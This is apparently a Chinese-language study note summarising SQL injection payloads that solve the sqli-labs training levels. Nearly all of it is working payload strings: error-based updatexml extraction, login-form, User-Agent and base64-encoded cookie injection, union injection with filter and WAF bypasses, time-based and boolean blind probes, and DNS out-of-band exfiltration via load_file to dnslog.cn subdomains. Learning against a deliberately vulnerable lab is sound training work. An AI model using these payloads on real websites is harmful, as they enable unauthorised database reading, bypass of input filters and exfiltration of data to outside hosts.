sqli-labs注入方法总结

一、报错注入

1.字符型单引号报错并提取错误信息

Less-1 Error Based- String
’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e) --+
Less-42 Stacked Query error based
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
Less-58
2’ and (updatexml(1,concat(0x7e,(SELECT+database())),0x7e)) --+

2.数字型报错并提取错误信息

Less-2 Error Based- Intiger
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
Less-39 stacked Query Intiger type
1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+

3.带括号闭合的字符型单引号报错并提取错误信息

Less-3 Error Based- String (with Twist)
1 ‘) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
Less-40 stacked Query String type Blind
-1’) union select 1,2,database() --+
Less-43
2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’

4.带括号闭合的字符型双引号报错并提取错误信息

Less-4 Error Based- DoubleQuotes String
1 “) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
Less-31 FUN with WAF
2”) and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and (“2
Less-60
3”) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+

5.两个括号闭合的字符型报错注入

Less-61
3’)) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+

6.字符型双引号报错并提取错误信息

Less-6 Double Query- Double Quotes- String
1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+

7.需做引号闭合的字符型报错注入

Less-23 Error Based- no comments
’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and ‘’'#

8.创建admin’#从而修改admin密码

9.需做引号闭合的and双写绕过的字符型报错注入

Less-25 Trick with OR & AND
2’ anandd updatexml(1,concat(0x7e,(SELECT database())),0x7e) anandd ‘’‘#
Index5
2’ anandd updatexml(1,concat(0x7e,(datadatabasebase())),0x7e)#

10.不能使用空格时的报错注入

Less-26 Trick with comments
2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’

11.需做%df’绕过的报错注入

Less-32 Bypass addslashes()
2%df%27 and updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+

12.只能在bp实现的%df’绕过的报错注入

Less-34 Bypass Add SLASHES
3+%df’+and+updatexml(1,concat(0x7e,(SELECT database())),0x7e)±-+

13.使用&&替代and的报错注入

Index4
1’ && updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+

二、登录框注入

1.字符型报错注入

Less-11 Error Based- String
用户名：’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
密码：’ 1

2.带括号闭合的字符型双引号报错注入

Less-12 Error Based- Double quotes- String
用户名：1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
密码："1

3.带括号闭合的字符型单引号报错注入

Less-13 Double Injection- String- with twist
用户名：1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
密码：’ 1

4.字符型双引号报错注入

Less-14 Double Injection- Double quotes- String
用户名：1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
密码："1

5.时间盲注,火狐F12，看网络时间长度判断对错(需知道用户名)

Less-15 Blind- Boolian Based- String
用户名：admin’ and if(length(database())=8, sleep(1), 1)#
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#

6.带括号的双引号字符型时间盲注,火狐F12，看网络时间长度判断对错(需知道用户名)

Less-16 Blind- Time Based- Double quotes- String
admin") and if(length(database())=8, sleep(1), 1)#

7.只能通过bp实现的字符型报错注入

Less-17 Update Query- Error based - String
uname=admin&passwd=2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+

8.只能通过bp实现的UA头报错注入

Less-18 Header Injection- Error Based- string
', updatexml(1,concat(0x7e,(SELECT database())),0x7e), 1)#
', updatexml(1,concat(0x7e,(SELECT database())),0x7e))#

9.只能通过bp实现的cookie报错注入

Less-20 Cookie Injection- Error Based- string
’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+

10.带括号闭合的只能通过bp实现的字符型cookie报错注入，需做base64加密

Less-21 Cookie Injection- Error Based- complex - string
a ‘) and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and (’
删除bp原先的cookie，使用以下语句
uname:YSAgJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChTRUxFQ1QgZGF0YWJhc2UoKSkpLDB4N2UpIGFuZCAoJw==

11.只能通过bp实现的字符型双引号cookie报错注入，需做base64加密

Less-22 Cookie Injection- Error Based- Double Quotes - string
a" and updatexml(1,concat(0x7e,(SELECT database())),0x7e)#
uname=YSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChTRUxFQ1QgZGF0YWJhc2UoKSkpLDB4N2UpIw==

三、联合注入

1.使用大小写绕过和空格替换的字符型双引号联合注入

Less-27a Trick with SELECT & UNION
0"uNiOn%0ASeLEcT%0A1,2,database()%0A uNiOn%0A SeLEcT%0A 1,2,"

2.使用多写绕过和空格替换的字符型联合注入

Less-28 Trick with SELECT & UNION
0’)uni on union%0Aselect%0A sel ect%0A1,2,database()%0Auni on union%0Aselect%0A sel ect%0A1,2,(’

3.使用双写绕过和空格替换的字符型联合注入

Less-28a Trick with SELECT & UNION
0’)union union%0Aselect%0A select%0A1,2,database()%0Aunion union%0Aselect%0A select%0A1,2,(’

4.使用空格替换的字符型联合注入

Less-29 Protection with WAF
0’union%0Aselect%0A 1,2,database()%0A union%0Aselect%0A 1,2,’

5.使用空格替换的字符型双引号联合注入

Less-30
0"union%0Aselect%0A 1,2,database()%0A union%0Aselect%0A 1,2,"

6.使用注释绕过空格的联合字符型注入

Index4
0’union////select////“”,“”,“”,database(),“”,“”,“”,“”;#

四、盲注

1.字符型布尔盲注

Less-9 Blind- Time based- Single Quotes- String
1’ and length(database())=8–+

2.字符型双引号布尔盲注，使用bp HTTP_History的Lenghth判断对错

Less-10 Blind- Time based- Double Quotes- String
1" and length(database())=8–+

3.and双写绕过的时间盲注

Less-25a Trick with OR & AND Blind
2 anandd if(length(database())=8, sleep(1), 1)

4.带括号闭合及and双写绕过的时间盲注

Less-26a Trick with comments
1’) anandd (if(length(database())=8, sleep(1), 1)) anandd('1

五、外带注入

1.外带字符型注入

Less-44
2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));

2.外带数字型注入

Less-64
1 and(select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’)))

3.外带时间盲注

Less-48
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
3 and if(1=1,sleep(1),0); select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));

4.外带字符型时间盲注

Less-49
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and ‘#
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+

5.带括号闭合的外带字符型时间盲注

Less-56
4’) and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+

6.外带双引号字符型注入

Less-57
4" and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
1" and (select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’))) and "

7.带括号闭合的外带时间盲注

Less-62
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+